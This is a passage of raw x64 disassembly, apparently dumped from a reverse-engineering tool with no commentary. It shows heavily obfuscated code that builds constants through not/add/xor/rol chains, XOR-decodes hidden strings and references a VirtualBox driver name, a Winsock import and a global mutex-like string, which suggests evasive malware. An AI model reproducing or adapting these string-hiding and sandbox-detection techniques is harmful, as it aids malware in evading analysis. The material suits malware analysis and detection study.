movzx r13d, word [rsp + 0x2e]
xor r13w, 0x5f
mov word [rbp + 0xf2], r13w
mov r12d, 0xc17c7a91
pushf
not r12d
add r12d, 0x95896baa
xor r12d, 0xf8cae95f
rol r12d, 0xae
popf
pushf
not r12d
add r12d, 0x93c80a9d
xor r12d, 0xfed62cfd
rol r12d, 8
popf
pushf
not r12d
add r12d, 0xff4eb174
xor r12d, 0x838a3235
rol r12d, 0xca
popf
pushf
not r12d
add r12d, 0x8dcf6055
xor r12d, 0xc92c99e2
rol r12d, 0xf7
popf
mov r13d, 0x4b065eed
pushf
not r13d
add r13d, 0xdb1f3a0a
xor r13d, 0x8f64568a
rol r13d, 0xf6
popf
pushf
not r13d
add r13d, 0xd15e4d52
xor r13d, 0xa2d1644a
rol r13d, 0x56
popf
pushf
not r13d
add r13d, 0xa5444614
xor r13d, 0xcc120446
rol r13d, 0x82
popf
xor r12w, r13w
mov word [rbp + 0xf4], r12w
mov r12d, 0x9141f6c4
pushf
not r12d
add r12d, 0xea5b2226
xor r12d, 0x8114f7d0
rol r12d, 0xe7
popf
pushf
not r12d
add r12d, 0xca0604cd
xor r12d, 0xc1beee12
rol r12d, 0x5f
popf
pushf
not r12d
add r12d, 0xa438fc40
xor r12d, 0xa2de5946
rol r12d, 0x2f
popf
xor r12w, r13w
mov word [rbp + 0xf6], r12w
mov r12d, 0xef74980f
pushf
not r12d
add r12d, 0xc8d89fa1
xor r12d, 0x899f9428
rol r12d, 0xcb
popf
pushf
not r12d
add r12d, 0xd5b984f4
xor r12d, 0xc91bba6c
rol r12d, 0xc8
popf
xor r12w, word [rsp + 0x28]
mov word [rbp + 0xf8], r12w
mov r12d, 0x2579c0c8
pushf
not r12d
add r12d, 0xac039506
xor r12d, 0xdd0a6272
rol r12d, 0
popf
pushf
not r12d
add r12d, 0xefa377a9
xor r12d, 0xda1fc159
rol r12d, 0xc7
popf
xor r12w, word [rsp + 0x28]
mov word [rbp + 0xfa], r12w
mov r12d, 0xb88b55f4
pushf
not r12d
add r12d, 0xd2d151ce
xor r12d, 0xbe4438f4
rol r12d, 0xc8
popf
pushf
not r12d
add r12d, 0xb2b40e00
xor r12d, 0xb0f1605b
rol r12d, 0xf4
popf
xor r12w, r13w
mov word [rbp + 0xfc], r12w
mov r12d, 0x77e63e0d
pushf
not r12d
add r12d, 0x9050b4db
xor r12d, 0xfc454eb2
rol r12d, 0x53
popf
pushf
not r12d
add r12d, 0xfe1ff522
xor r12d, 0xba20d3a2
rol r12d, 2
popf
xor r12w, r13w
mov word [rbp + 0xfe], r12w
mov r12d, 0xb62f5864
pushf
not r12d
add r12d, 0x80052aa6
xor r12d, 0x8c6693f3
rol r12d, 0xd1
popf
pushf
not r12d
add r12d, 0xac9e0251
xor r12d, 0xf217f5e5
rol r12d, 0xa4
popf
pushf
not r12d
add r12d, 0xb28aed4b
xor r12d, 0xffa2544d
rol r12d, 0x16
popf
xor r12w, word [rsp + 0x28]
mov word [rbp + 0x100], r12w
movzx r13d, word [rsp + 0x2c]
xor r13w, 0x5f
mov word [rbp + 0x102], r13w
mov r12d, 0xaaf19986
pushf
not r12d
add r12d, 0xa0814d3b
xor r12d, 0xaa9b80c3
rol r12d, 0x7f
popf
pushf
not r12d
add r12d, 0xe63fa924
xor r12d, 0xfd96d9ab
rol r12d, 0xda
popf
pushf
not r12d
add r12d, 0xd1f6b428
xor r12d, 0xc2e126cc
rol r12d, 0x50
popf
xor r12w, word [rsp + 0x28]
mov word [rbp + 0x104], r12w
mov r12d, 0xf7fc2c0f
pushf
not r12d
add r12d, 0xb66ccf9c
xor r12d, 0xda6d6b45
rol r12d, 0xf0
popf
pushf
not r12d
add r12d, 0x9bc3da20
xor r12d, 0x92fa761e
rol r12d, 2
popf
xor r12w, 0x5f
mov word [rbp + 0x106], r12w
movzx r13d, word [rsp + 0x40]
xor r13w, 0x5f
mov word [rbp + 0x108], r13w
mov r12d, 0xa3a50927
pushf
not r12d
add r12d, 0xf5461b92
xor r12d, 0xb189500c
rol r12d, 0xed
popf
pushf
not r12d
add r12d, 0x82129940
xor r12d, 0x9f565320
rol r12d, 0x46
popf
pushf
not r12d
add r12d, 0x8c496814
xor r12d, 0xe74cd15a
rol r12d, 0xf5
popf
xor r12w, word [rsp + 0x28]
mov word [rbp + 0x10a], r12w
movzx r13d, word [rsp + 0x3e]
mov r12d, 0x71379fbb
pushf
not r12d
add r12d, 0xbc78b2da
xor r12d, 0xf3c06f89
rol r12d, 0x2c
popf
pushf
not r12d
add r12d, 0xbe84863e
xor r12d, 0xde8a37ad
rol r12d, 0x11
popf
pushf
not r12d
add r12d, 0xa8b64d0e
xor r12d, 0xe54b8dbb
rol r12d, 0x66
popf
pushf
not r12d
add r12d, 0x88923d9b
xor r12d, 0x9482f968
rol r12d, 0x30
popf
xor r13w, r12w
mov word [rbp + 0x10c], r13w
movzx r13d, r12w
xor r13w, r12w
mov word [rbp + 0x10e], r13w
movzx r13d, word [rsp + 0x3c]
xor r13w, r12w
mov word [rbp + 0x110], r13w
movzx r13d, word [rsp + 0x3a]
xor r13w, r12w
mov word [rbp + 0x112], r13w
movzx r13d, word [rsp + 0x38]
xor r13w, r12w
mov word [rbp + 0x114], r13w
movzx r13d, word [rsp + 0x22]
xor r13w, r12w
mov word [rbp + 0x116], r13w
movzx r13d, word [rsp + 0x20]
xor r13w, r12w
mov word [rbp + 0x118], r13w
movzx r13d, word [rsp + 0x26]
xor r13w, r12w
mov word [rbp + 0x11a], r13w
movzx r13d, word [rsp + 0x24]
xor r13w, r12w
mov word [rbp + 0x11c], r13w
movzx r13d, word [rsp + 0x42]
xor r13w, r12w
mov word [rbp + 0x11e], r13w
movzx r13d, word [rsp + 0x44]
xor r13w, r12w
mov word [rbp + 0x120], r13w
movzx r12d, word [rsp + 0x46]
mov r13d, 0x9bcf1ebd
pushf
not r13d
add r13d, 0xce0ce5cb
xor r13d, 0xaf22177c
rol r13d, 0x66
popf
pushf
not r13d
add r13d, 0xf7c964f7
xor r13d, 0xafd5f68f
rol r13d, 0x17
popf
xor r12w, r13w
mov word [rbp + 0x122], r12w
xor r15w, r13w
mov word [rbp + 0x124], r15w
xor r14w, r13w
mov word [rbp + 0x126], r14w
xor si, r13w
mov word [rbp + 0x128], si
xor di, r13w
mov word [rbp + 0x12a], di
xor bx, r13w
mov word [rbp + 0x12c], bx
xor r11w, r13w
mov word [rbp + 0x12e], r11w
xor r10w, r13w
mov word [rbp + 0x130], r10w
xor r9w, r13w
mov word [rbp + 0x132], r9w
xor r8w, r13w
mov word [rbp + 0x134], r8w
xor dx, r13w
mov word [rbp + 0x136], dx
xor cx, r13w
mov word [rbp + 0x138], cx
xor ax, r13w
mov word [rbp + 0x13a], ax
xor eax, eax
mov word [rbp + 0x13c], ax
xorps xmm0, xmm0
movups xmmword [rbp + 0x250], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x260], xmm1
lea rax, [rbp + 0xe2]
mov r8, 0xffffffffffffffff
nop
push rax
pushf
mov eax, 0x33d3975b
pushf
not eax
add eax, 0xac4274ed
xor eax, 0xde1c0326
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xbb8cd7ae
xor eax, 0xe4980fd2
rol eax, 0xb9
popf
jmp 0x14027e8ce
inc r8
cmp word [rax + r8*2], 0
jne 0x140281ef4
push rax
pushf
mov eax, 0xcfd6bfcf
pushf
not eax
add eax, 0xac137f29
xor eax, 0xed18b1e6
rol eax, 0xa3
popf
pushf
not eax
add eax, 0x867da24a
xor eax, 0xfd5d2c68
rol eax, 0xfe
popf
jmp 0x14027e8ce
push rax
pushf
mov eax, 0xda1804b7
pushf
not eax
add eax, 0xdca7b357
xor eax, 0xb720ed05
rol eax, 0x82
popf
pushf
not eax
add eax, 0x9f732b6c
xor eax, 0xf37f765f
rol eax, 0x46
popf
pushf
not eax
add eax, 0xf769b295
xor eax, 0xce880156
rol eax, 0x2e
popf
pushf
not eax
add eax, 0x9435a4d9
xor eax, 0xdda17777
rol eax, 0x19
popf
jmp 0x14027e8ce
lea rdx, [rbp + 0xe2]
lea rcx, [rbp + 0x250]
call fcn.1401f6dc0
nop
mov r10d, 0x1d0a32bf
pushf
not r10d
add r10d, 0xc36207fd
xor r10d, 0xd5a21d5c
rol r10d, 0x32
popf
pushf
not r10d
add r10d, 0x9d6f1af9
xor r10d, 0x849ce1a7
rol r10d, 0xee
popf
pushf
not r10d
add r10d, 0xbd1c7f1e
xor r10d, 0xa5ca36bb
rol r10d, 0x3f
popf
pushf
not r10d
add r10d, 0x8a8623fb
xor r10d, 0x8fa5defd
rol r10d, 0x2e
popf
mov dword [rsp + 0x30], r10d
mov word [rbp + 0x140], r10w
mov edx, 0xbbb82a37
pushf
not edx
add edx, 0xddcbbb72
xor edx, 0xeed8338c
rol edx, 0x93
popf
pushf
not edx
add edx, 0x9e141e02
xor edx, 0xa9fd3261
rol edx, 0x1e
popf
pushf
not edx
add edx, 0xbc0229bc
xor edx, 0xee8015cb
rol edx, 0x5b
popf
pushf
not edx
add edx, 0xa67d3ed4
xor edx, 0x99646de7
rol edx, 0x8d
popf
mov ecx, 0xb66f6162
pushf
not ecx
add ecx, 0xe2b97b80
xor ecx, 0xd726f7cc
rol ecx, 0x59
popf
pushf
not ecx
add ecx, 0xaed93d93
xor ecx, 0xa13c4008
rol ecx, 0xa1
popf
pushf
not ecx
add ecx, 0xfb6048fa
xor ecx, 0xa3c6017a
rol ecx, 0x6f
popf
mov word [rsp + 0x46], dx
mov word [rsp + 0x44], cx
mov edx, 0x2b55b5f7
pushf
not edx
add edx, 0xa155cd6b
xor edx, 0xc7340e3e
rol edx, 0xfc
popf
pushf
not edx
add edx, 0xd3e1c72f
xor edx, 0xfc2e859a
rol edx, 0xeb
popf
mov word [rsp + 0x42], dx
mov eax, 0x356881bf
pushf
not eax
add eax, 0xd0f2bb10
xor eax, 0xaf5c5991
rol eax, 0x1e
popf
pushf
not eax
add eax, 0xe20e5e00
xor eax, 0x9e18c5cf
rol eax, 0xca
popf
mov word [rsp + 0x2e], ax
mov word [rsp + 0x2c], dx
mov word [rsp + 0x40], cx
mov word [rsp + 0x3e], cx
movzx eax, word [0x1400f242a]
xor ax, r10w
mov word [rsp + 0x3c], ax
movzx eax, word [0x1400f242c]
xor ax, r10w
mov word [rsp + 0x3a], ax
movzx eax, word [0x1400f242e]
xor ax, r10w
mov word [rsp + 0x38], ax
movzx eax, word [str.driversVBoxSF.sys]
xor ax, r10w
mov word [rsp + 0x22], ax
movzx eax, word [0x1400f2432]
xor ax, r10w
mov word [rsp + 0x20], ax
movzx eax, word [0x1400f2434]
xor ax, r10w
mov word [rsp + 0x26], ax
movzx eax, word [0x1400f2436]
xor ax, r10w
mov word [rsp + 0x24], ax
movzx eax, word [0x1400f2438]
xor ax, r10w
mov word [rsp + 0x48], ax
movzx eax, word [0x1400f243a]
xor ax, r10w
mov word [rsp + 0x4a], ax
movzx eax, word [0x1400f243c]
xor ax, r10w
mov word [rsp + 0x4c], ax
movzx r13d, word [reloc.WS2_32.dll_WSAStartup]
xor r13w, r10w
mov word [rsp + 0x4e], r13w
movzx r12d, word [0x1400f2440]
xor r12w, r10w
mov word [rsp + 0x50], r12w
movzx r15d, word [0x1400f2442]
xor r15w, r10w
mov word [rsp + 0x52], r15w
movzx r14d, word [0x1400f2444]
xor r14w, r10w
mov word [rsp + 0x28], r14w
movzx esi, word [0x1400f2446]
xor si, r10w
movzx edi, word [0x1400f2448]
xor di, r10w
movzx ebx, word [0x1400f244a]
xor bx, r10w
movzx r11d, word [0x1400f244c]
xor r11w, r10w
movzx r10d, word [0x1400f244e]
xor r10w, 0x42
movzx r9d, word [reloc.WS2_32.dll_WSAStartup]
xor r9w, 0x42
movzx r8d, word [0x1400f2452]
xor r8w, 0x42
movzx edx, word [reloc.WS2_32.dll_WSAStartup]
xor dx, 0x42
movzx ecx, word [0x1400f2456]
xor cx, 0x42
movzx eax, word [str..GlobalEneIo]
xor ax, 0x42
mov r13d, 0xeb8f3662
pushf
not r13d
add r13d, 0xfc3cc35e
xor r13d, 0xc2fe7516
rol r13d, 0xc1
popf
pushf
not r13d
add r13d, 0xcf4cf2f3
xor r13d, 0xd69f98cf
rol r13d, 0x5b
popf
pushf
not r13d
add r13d, 0xb49051f4
xor r13d, 0x8b35f2d4
rol r13d, 0x96
popf
pushf
not r13d
add r13d, 0xe527a019
xor r13d, 0xcccd8537
rol r13d, 0x77
popf
mov r12d, 0xef87dd2
pushf
not r12d
add r12d, 0x914b21d3
xor r12d, 0x8a167aff
rol r12d, 0x73
popf
pushf
not r12d
add r12d, 0xb0e912cb
xor r12d, 0xfd8641cc
rol r12d, 0xc2
popf
pushf
not r12d
add r12d, 0xd51d20c7
xor r12d, 0x9f42db21
rol r12d, 0xa4
popf
xor r13w, r12w
mov word [rbp + 0x142], r13w
mov r15d, 0xfc4eeb82
pushf
not r15d
add r15d, 0x9b110920
xor r15d, 0xebad6671
rol r15d, 2
popf
pushf
not r15d
add r15d, 0xc21b52a9
xor r15d, 0x8bb112d1
rol r15d, 0xf6
popf
pushf
not r15d
add r15d, 0x9e4aefe9
xor r15d, 0x94b0f454
rol r15d, 0xfe
popf
xor r15w, r12w
mov word [rbp + 0x144], r15w
mov r12d, 0xa02d2965
pushf
not r12d
add r12d, 0xf2a173e7
xor r12d, 0xe461fc25
rol r12d, 0xef
popf
pushf
not r12d
add r12d, 0x8ab5fa80
xor r12d, 0xac583673
rol r12d, 0x61
popf
pushf
not r12d
add r12d, 0xcc30859c
xor r12d, 0xeb37631e
rol r12d, 0xa7
popf
pushf
not r12d
add r12d, 0xe87b36d3
xor r12d, 0xa14aee3b
rol r12d, 0x11
popf
xor r12w, 0x42
mov word [rbp + 0x146], r12w
mov r15d, 0x6ceacc92
pushf
not r15d
add r15d, 0xf2bcdad2
xor r15d, 0xa0d3ec7c
rol r15d, 0x50
popf
pushf
not r15d
add r15d, 0xb6eb66d1
xor r15d, 0x9f5c9b18
rol r15d, 0x41
popf
pushf
not r15d
add r15d, 0xe16f1574
xor r15d, 0xf9855fc7
rol r15d, 0x64
popf
xor r15w, 0x42
mov word [rbp + 0x148], r15w
mov r12d, 0xed80ed78
pushf
not r12d
add r12d, 0xac91e26e
xor r12d, 0x830beb92
rol r12d, 0xb6
popf
pushf
not r12d
add r12d, 0xce330bbc
xor r12d, 0xf4646cf4
rol r12d, 0xf7
popf
movzx r13d, r12w
xor r13w, 0x42
mov word [rbp + 0x14a], r13w
mov r15d, 0x4c0088ec
pushf
not r15d
add r15d, 0x9be5e96b
xor r15d, 0xe13adcea
rol r15d, 0x3d
popf
pushf
not r15d
add r15d, 0x817f0d03
xor r15d, 0x9f8d1bcc
rol r15d, 2
popf
pushf
not r15d
add r15d, 0xc513898f
xor r15d, 0xf4c74e9d
rol r15d, 0x8e
popf
xor r15w, 0x42
mov word [rbp + 0x14c], r15w
mov r15d, 0xed66a60f
pushf
not r15d
add r15d, 0xeecdb61f
xor r15d, 0xdccf4962
rol r15d, 0xc
popf
pushf
not r15d
add r15d, 0x8c34f87c
xor r15d, 0x8bc455e1
rol r15d, 9
popf
pushf
not r15d
add r15d, 0xf8b7d647
xor r15d, 0xaa41da8b
rol r15d, 0x15
popf
pushf
not r15d
add r15d, 0x825ad89a
xor r15d, 0x8d5d0d90
rol r15d, 0xa1
popf
movzx r13d, r15w
xor r13w, word [rsp + 0x30]
mov word [rbp + 0x14e], r13w
mov r13d, 0x34ed478f
pushf
not r13d
add r13d, 0xbda6dc66
xor r13d, 0x901953c8
rol r13d, 0x1a
popf
pushf
not r13d
add r13d, 0x8a171750
xor r13d, 0xde20bdaf
rol r13d, 0x6d
popf
pushf
not r13d
add r13d, 0x9120a9eb
xor r13d, 0xf7f0decb
rol r13d, 0x5f
popf
pushf
not r13d
add r13d, 0xae1cd7c7
xor r13d, 0xb00de36d
rol r13d, 0x9a
popf
xor r13w, word [rsp + 0x30]
mov word [rbp + 0x150], r13w
movzx r13d, word [rsp + 0x46]
xor r13w, word [rsp + 0x30]
mov word [rbp + 0x152], r13w
movzx r13d, r12w
xor r13w, word [rsp + 0x30]
mov word [rbp + 0x154], r13w
mov r14d, 0xc81089e8
pushf
not r14d
add r14d, 0xe5e60172
xor r14d, 0xeb38cc0a
rol r14d, 0x38
popf
pushf
not r14d
add r14d, 0xb9b8b6aa
xor r14d, 0xb5c1c8ee
rol r14d, 0x66
popf
xor r14w, word [rsp + 0x30]
mov word [rbp + 0x156], r14w
mov r13d, 0xe0b973f9
pushf
not r13d
add r13d, 0x882447dc
xor r13d, 0xb2b47be3
rol r13d, 0x14
popf
pushf
not r13d
add r13d, 0xae3e17ad
xor r13d, 0xb5614f22
rol r13d, 0x75
popf
pushf
not r13d
add r13d, 0xaee66a48
xor r13d, 0xbad30088
rol r13d, 0xa5
popf
xor r13w, word [rsp + 0x30]
mov word [rbp + 0x158], r13w
mov r13d, 0xf04ac667
pushf
not r13d
add r13d, 0x8707ee34
xor r13d, 0xcec0884e
rol r13d, 0x68
popf
pushf
not r13d
add r13d, 0xc2fc20a5
xor r13d, 0x88f41085
rol r13d, 0x5f
popf
pushf
not r13d
add r13d, 0x8ed7c7c7
xor r13d, 0x8be16f08
rol r13d, 0xe0
popf
pushf
not r13d
add r13d, 0xed5744e7
xor r13d, 0xc148557c
rol r13d, 0x2f
popf
xor r13w, word [rsp + 0x30]
mov word [rbp + 0x15a], r13w
movzx r13d, word [rsp + 0x44]
xor r13w, word [rsp + 0x30]
mov word [rbp + 0x15c], r13w
movzx r13d, word [rsp + 0x42]
xor r13w, word [rsp + 0x30]
mov word [rbp + 0x15e], r13w
movzx r13d, r15w
xor r13w, word [rsp + 0x30]
mov word [rbp + 0x160], r13w
movzx r13d, r12w
xor r13w, 0x42
mov word [rbp + 0x162], r13w
movzx r13d, word [rsp + 0x2e]
mov r12d, 0x11e4e6be
pushf
not r12d
add r12d, 0x87cd80c5
xor r12d, 0x9fecf9ab
rol r12d, 0x6f
popf
pushf
not r12d
add r12d, 0xf9ff6634
xor r12d, 0xf14ef17a
rol r12d, 0x12
popf
pushf
not r12d
add r12d, 0xe5c161e3
xor r12d, 0xf4147c48
rol r12d, 0x8a
popf
xor r13w, r12w
mov word [rbp + 0x164], r13w
mov r13d, 0xb7491ffb
pushf
not r13d
add r13d, 0xc54edb77
xor r13d, 0xfeeecade
rol r13d, 0x7a
popf
pushf
not r13d
add r13d, 0x8e273ea7
xor r13d, 0xda6edbf9
rol r13d, 0x59
popf
pushf
not r13d
add r13d, 0xc9398b0c
xor r13d, 0x96e93075
rol r13d, 0x92
popf
xor r13w, r12w
mov word [rbp + 0x166], r13w
movzx r13d, word [rsp + 0x2c]
xor r13w, r12w
mov word [rbp + 0x168], r13w
mov r13d, 0x4aca18bf
pushf
not r13d
add r13d, 0xe25ce6f0
xor r13d, 0xc407f8ae
rol r13d, 0xc5
popf
pushf
not r13d
add r13d, 0xb3d8443b
xor r13d, 0x95cc3841
rol r13d, 0x77
popf
pushf
not r13d
add r13d, 0x9b4dabde
xor r13d, 0x826ead39
rol r13d, 0xf3
popf
xor r13w, r12w
mov word [rbp + 0x16a], r13w
movzx r13d, word [rsp + 0x40]
xor r13w, r12w
mov word [rbp + 0x16c], r13w
mov r15d, 0xac54e7db
pushf
not r15d
add r15d, 0xd8600ec8
xor r15d, 0xb460ecc1
rol r15d, 0x43
popf
pushf
not r15d
add r15d, 0xa6d1f382
xor r15d, 0xe373acd5
rol r15d, 0xda
popf
xor r15w, r12w
mov word [rbp + 0x16e], r15w
movzx r13d, word [rsp + 0x3e]
xor r13w, r12w
mov word [rbp + 0x170], r13w
movzx r13d, r12w
xor r13w, r12w
mov word [rbp + 0x172], r13w
movzx r13d, word [rsp + 0x3c]
xor r13w, r12w
mov word [rbp + 0x174], r13w
movzx r13d, word [rsp + 0x3a]
xor r13w, r12w
mov word [rbp + 0x176], r13w
movzx r13d, word [rsp + 0x38]
xor r13w, r12w
mov word [rbp + 0x178], r13w
movzx r13d, word [rsp + 0x22]
xor r13w, r12w
mov word [rbp + 0x17a], r13w
movzx r13d, word [rsp + 0x20]
xor r13w, r12w
mov word [rbp + 0x17c], r13w
movzx r13d, word [rsp + 0x26]
xor r13w, r12w
mov word [rbp + 0x17e], r13w
movzx r13d, word [rsp + 0x24]
xor r13w, r12w
mov word [rbp + 0x180], r13w
movzx r13d, word [rsp + 0x48]
xor r13w, r12w
mov word [rbp + 0x182], r13w
movzx r13d, word [rsp + 0x4a]
xor r13w, r12w
mov word [rbp + 0x184], r13w
movzx r13d, word [rsp + 0x4c]
xor r13w, r12w
mov word [rbp + 0x186], r13w
movzx r13d, word [rsp + 0x4e]
xor r13w, r12w
mov word [rbp + 0x188], r13w
movzx r12d, word [rsp + 0x50]
mov r13d, 0x3b45c1a1
pushf
not r13d
add r13d, 0xa8bf58c6
xor r13d, 0xd8f208b6
rol r13d, 0x2e
popf
pushf
not r13d
add r13d, 0xbdbb3984
xor r13d, 0xf49c63f3
rol r13d, 0x59
popf
pushf
not r13d
add r13d, 0xea1459a4
xor r13d, 0x9f944d38
rol r13d, 0
popf
pushf
not r13d
add r13d, 0xca929459
xor r13d, 0xf04c0d5c
rol r13d, 0xf6
popf
xor r12w, r13w
mov word [rbp + 0x18a], r12w
movzx r15d, word [rsp + 0x52]
xor r15w, r13w
mov word [rbp + 0x18c], r15w
movzx r14d, word [rsp + 0x28]
xor r14w, r13w
mov word [rbp + 0x18e], r14w
xor si, r13w
mov word [rbp + 0x190], si
xor di, r13w
mov word [rbp + 0x192], di
xor bx, r13w
mov word [rbp + 0x194], bx
xor r11w, r13w
mov word [rbp + 0x196], r11w
xor r10w, r13w
mov word [rbp + 0x198], r10w
xor r9w, r13w
mov word [rbp + 0x19a], r9w
xor r8w, r13w
mov word [rbp + 0x19c], r8w
xor dx, r13w
mov word [rbp + 0x19e], dx
xor cx, r13w
mov word [rbp + 0x1a0], cx
xor ax, r13w
mov word [rbp + 0x1a2], ax
xor ebx, ebx
mov word [rbp + 0x1a4], bx
xorps xmm0, xmm0
movups xmmword [rbp + 0x270], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x280], xmm1
lea rax, [rbp + 0x142]
mov r8, 0xffffffffffffffff
nop dword [rax]
push rax
pushf
mov eax, 0x323ce378
pushf
not eax
add eax, 0xe712d61c
xor eax, 0xc795a11b
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xc8b19003
xor eax, 0xfd27a350
rol eax, 0x21
popf
pushf
not eax
add eax, 0xdb08d2a1
xor eax, 0xa38276e4
rol eax, 0xbe
popf
jmp 0x14027e8ce
inc r8
cmp word [rax + r8*2], bx
jne 0x140282bb5
push rax
pushf
mov eax, 0xf5ab8bf7
pushf
not eax
add eax, 0xb834506b
xor eax, 0xd1af9a56
rol eax, 0x37
popf
pushf
not eax
add eax, 0xf5bc913e
xor eax, 0xc9110b45
rol eax, 0x67
popf
pushf
not eax
add eax, 0xbfca743a
xor eax, 0xbdcf0ea4
rol eax, 8
popf
jmp 0x14027e8ce
push rax
pushf
mov eax, 0x4e538888
pushf
not eax
add eax, 0x92dcab80
xor eax, 0xa2d82037
rol eax, 0xd2
popf
pushf
not eax
add eax, 0x9542b10c
xor eax, 0x8a3f09c7
rol eax, 0xb7
popf
jmp 0x14027e8ce
lea rdx, [rbp + 0x142]
lea rcx, [rbp + 0x270]
call fcn.1401f6dc0
nop
mov edx, 0x8242ddaf
pushf
not edx
add edx, 0xfce15d41
xor edx, 0xb7c13414
rol edx, 0x6a
popf
pushf
not edx
add edx, 0xbd6752b4
xor edx, 0x9b4c367e
rol edx, 0x7b
popf
pushf
not edx
add edx, 0xbccac07a
xor edx, 0xb5ee0011
rol edx, 0xd6
popf
mov word [rbp + 0x20], dx
mov eax, 0x9bf6dfed
pushf
not eax
add eax, 0xa6424e0b
xor eax, 0xc02c8084
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xb62d4dd1
xor eax, 0xa4696431
rol eax, 0x97
popf
pushf
not eax
add eax, 0x932de071
xor eax, 0xecc47ae3
rol eax, 0x99
popf
mov ecx, 0xc83f6cf9
pushf
not ecx
add ecx, 0xc952dee3
xor ecx, 0xc5d60c3d
rol ecx, 0x63
popf
pushf
not ecx
add ecx, 0xfcc92c1e
xor ecx, 0x9ff23a8e
rol ecx, 0x8a
popf
pushf
not ecx
add ecx, 0x8262fa88
xor ecx, 0xa400f970
rol ecx, 0x97
popf
pushf
not ecx
add ecx, 0x9c26fc40
xor ecx, 0x92f5dbe9
rol ecx, 0xdd
popf
mov word [rsp + 0x28], cx
mov ecx, 0x6ec6d428
pushf
not ecx
add ecx, 0xb037ea1e
xor ecx, 0x932b3be4
rol ecx, 0xe4
popf
pushf
not ecx
add ecx, 0xea49a5a3
xor ecx, 0x9aac21b4
rol ecx, 0xde
popf
pushf
not ecx
add ecx, 0xf28c3ddd
xor ecx, 0xee64dcb6
rol ecx, 1
popf
pushf
not ecx
add ecx, 0xc40155aa
xor ecx, 0xd92be55d
rol ecx, 0x32
popf
mov word [rsp + 0x52], ax
mov word [rsp + 0x50], cx
mov word [rsp + 0x4e], cx
movzx eax, word [str..GlobalEneIo]
xor ax, dx
mov word [rsp + 0x4c], ax
movzx eax, word [0x1400f245a]
xor ax, dx
mov word [rsp + 0x4a], ax
movzx eax, word [0x1400f245c]
xor ax, dx
mov word [rsp + 0x48], ax
movzx eax, word [0x1400f245e]
xor ax, dx
mov word [rsp + 0x46], ax
movzx eax, word [0x1400f2460]
xor ax, dx
mov word [rsp + 0x44], ax
movzx r13d, word [0x1400f2462]
xor r13w, dx
mov word [rsp + 0x42], r13w
movzx r12d, word [0x1400f2464]
xor r12w, dx
mov word [rsp + 0x2e], r12w
movzx r15d, word [0x1400f2466]
xor r15w, dx
mov word [rsp + 0x2c], r15w
movzx r14d, word [0x1400f2468]
xor r14w, dx
movzx esi, word [0x1400f246a]
xor si, dx
movzx edi, word [0x1400f246c]
xor di, dx
movzx ebx, word [0x1400f246e]
xor bx, dx
movzx r11d, word [0x1400f2470]
xor r11w, dx
movzx r10d, word [0x1400f2472]
xor r10w, dx
movzx r9d, word [0x1400f2474]
xor r9w, dx
movzx r8d, word [0x1400f2476]
xor r8w, dx
movzx edx, word [0x1400f2478]
xor dx, 0x46
movzx ecx, word [0x1400f247a]
xor cx, 0x46
movzx eax, word [0x1400f247c]
xor ax, 0x46
mov r13d, 0xc4ff25e9
pushf
not r13d
add r13d, 0xf0aacaa7
xor r13d, 0xc12a4568
rol r13d, 0xef
popf
pushf
not r13d
add r13d, 0x8b49f21e
xor r13d, 0x9a6afcdd
rol r13d, 0x6f
popf
mov r12d, 0x25d2842
pushf
not r12d
add r12d, 0x97e05983
xor r12d, 0x9fd01b79
rol r12d, 0xae
popf
pushf
not r12d
add r12d, 0xc583b403
xor r12d, 0xb740ef8f
rol r12d, 0xf4
popf
pushf
not r12d
add r12d, 0xcd7a44b1
xor r12d, 0xdf656d37
rol r12d, 0x3c
popf
xor r13w, r12w
mov word [rbp + 0x22], r13w
mov r13d, 0xe9bfa188
pushf
not r13d
add r13d, 0x92d42eb6
xor r13d, 0x9e37f561
rol r13d, 0x4b
popf
pushf
not r13d
add r13d, 0x8d231480
xor r13d, 0xd4b90a2e
rol r13d, 0xaf
popf
pushf
not r13d
add r13d, 0x8248ba3d
xor r13d, 0xbcc5326f
rol r13d, 0x6f
popf
pushf
not r13d
add r13d, 0xa9c4cdf5
xor r13d, 0xff25506c
rol r13d, 0xf9
popf
xor r13w, r12w
mov word [rbp + 0x24], r13w
mov r13d, 0x8fab787c
pushf
not r13d
add r13d, 0xb3d9e5fe
xor r13d, 0xb3de5622
rol r13d, 0xe7
popf
pushf
not r13d
add r13d, 0xa3875867
xor r13d, 0x96e4562f
rol r13d, 0x7f
popf
pushf
not r13d
add r13d, 0xd84ede4c
xor r13d, 0xa1bedfbc
rol r13d, 0x69
popf
pushf
not r13d
add r13d, 0xb3a22500
xor r13d, 0xe14d8ace
rol r13d, 0x85
popf
xor r13w, r12w
mov word [rbp + 0x26], r13w
mov r13d, 0x7d571b0c
pushf
not r13d
add r13d, 0x9ed57588
xor r13d, 0xb63f45d1
rol r13d, 0x1e
popf
pushf
not r13d
add r13d, 0xca59be02
xor r13d, 0x89b45e20
rol r13d, 0x90
popf
pushf
not r13d
add r13d, 0xe0c32e00
xor r13d, 0xb89c00c2
rol r13d, 0x71
popf
xor r13w, r12w
mov word [rbp + 0x28], r13w
mov r13d, 0x8433c279
pushf
not r13d
add r13d, 0xc723c800
xor r13d, 0xfe20e3fa
rol r13d, 0x10
popf
pushf
not r13d
add r13d, 0xcd279009
xor r13d, 0x851356ca
rol r13d, 0x4f
popf
pushf
not r13d
add r13d, 0xacbe3250
xor r13d, 0xbbcf69f7
rol r13d, 0xa
popf
pushf
not r13d
add r13d, 0xb0f0a147
xor r13d, 0x874a8f9e
rol r13d, 0x1f
popf
xor r13w, r12w
mov word [rbp + 0x2a], r13w
mov r13d, 0xce1fa571
pushf
not r13d
add r13d, 0xe78b8d28
xor r13d, 0xbf077187
rol r13d, 0xa6
popf
pushf
not r13d
add r13d, 0xa1f138a3
xor r13d, 0x91d9a4a5
rol r13d, 0x95
popf
pushf
not r13d
add r13d, 0x979fe926
xor r13d, 0x9c0d06e5
rol r13d, 0xc5
popf
xor r13w, r12w
mov word [rbp + 0x2c], r13w
movzx r13d, word [rsp + 0x28]
xor r13w, r12w
mov word [rbp + 0x2e], r13w
mov r13d, 0x348b146b
pushf
not r13d
add r13d, 0xcdf26cb4
xor r13d, 0xd2a668f5
rol r13d, 0x86
popf
pushf
not r13d
add r13d, 0x9bd2643d
xor r13d, 0xabec34ea
